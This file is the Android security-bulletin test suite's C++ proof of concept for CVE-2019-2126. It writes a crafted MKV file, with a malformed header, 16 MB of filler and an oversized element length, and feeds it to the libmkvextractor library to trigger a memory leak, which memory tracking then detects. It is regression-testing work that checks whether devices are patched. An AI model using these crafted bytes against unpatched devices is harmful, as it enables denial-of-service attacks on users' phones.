hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp

/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <dlfcn.h>
#include <sys/mman.h>
#include <media/IMediaHTTPService.h>
#include <media/DataSource.h>
#include <media/stagefright/DataSourceFactory.h>
#include <media/stagefright/MediaExtractor.h>
#include "../includes/memutils_track.h"
#include "../includes/common.h"

unsigned char mkvDataStart[] = { 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A,
        0x42, 0x82, 0x10, 0x00, 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53,
        0x80, 0x67, 0x10, 0xF4, 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4,
        0x24, 0x41, 0xAE, 0x10, 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81,
        0x01, 0xE0, 0x10, 0x00, 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10,
        0xF4, 0x24, 0x28, 0x62, 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10,
        0xF4, 0x24, 0x19, 0x42, 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24,
        0x00 };

unsigned char mkvDataEnd[] = { 0x42, 0x55, 0x81, 0x61, 0x42, 0x54, 0x88, 0xFF,
        0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80 };

#define LIBNAME "/system/lib64/extractors/libmkvextractor.so"
#define LIBNAME_APEX \
    "/apex/com.android.media/lib64/extractors/libmkvextractor.so"

#define LEAK_SIZE          16000000
#define LEAK_DATA          0x61
#define TMP_FILE           "/data/local/tmp/temp_cve_2019_2126"

using namespace android;

bool is_tracking_required(size_t size) {
    return (size == LEAK_SIZE);
}

int main() {

#if _64_BIT
    GetExtractorDef getDef = nullptr;
    FILE* fp = fopen(TMP_FILE, "wb");
    if (!fp) {
        return EXIT_FAILURE;
    }

    char *appendArray = (char *) malloc(LEAK_SIZE);
    memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));

    /* Write mkv stream */
    fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);

    /* Append a bitstream which causes memory leak */
    fwrite(appendArray, 1, LEAK_SIZE, fp);
    fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
    free((void *) appendArray);
    fclose(fp);

    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
    if (!libHandle) {
        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
        if (!libHandle) {
            remove(TMP_FILE);
            return EXIT_FAILURE;
        }
    }

    getDef = (GetExtractorDef) dlsym(libHandle, "GETEXTRACTORDEF");
    if (!getDef) {
        remove(TMP_FILE);
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
    TMP_FILE);
    if (dataSource == nullptr) {
        remove(TMP_FILE);
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    void *meta = nullptr;
    void* creator = nullptr;
    FreeMetaFunc freeMeta = nullptr;
    float confidence;
    if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
        creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
                                              &meta, &freeMeta);
    } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
        creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
                                              &meta, &freeMeta);
    }
    if (!creator) {
        remove(TMP_FILE);
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
    if (ret == nullptr) {
        remove(TMP_FILE);
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    if (meta != nullptr && freeMeta != nullptr) {
        freeMeta(meta);
    }

    remove(TMP_FILE);
    dlclose(libHandle);
#endif /* _64_BIT */

    return EXIT_SUCCESS;
}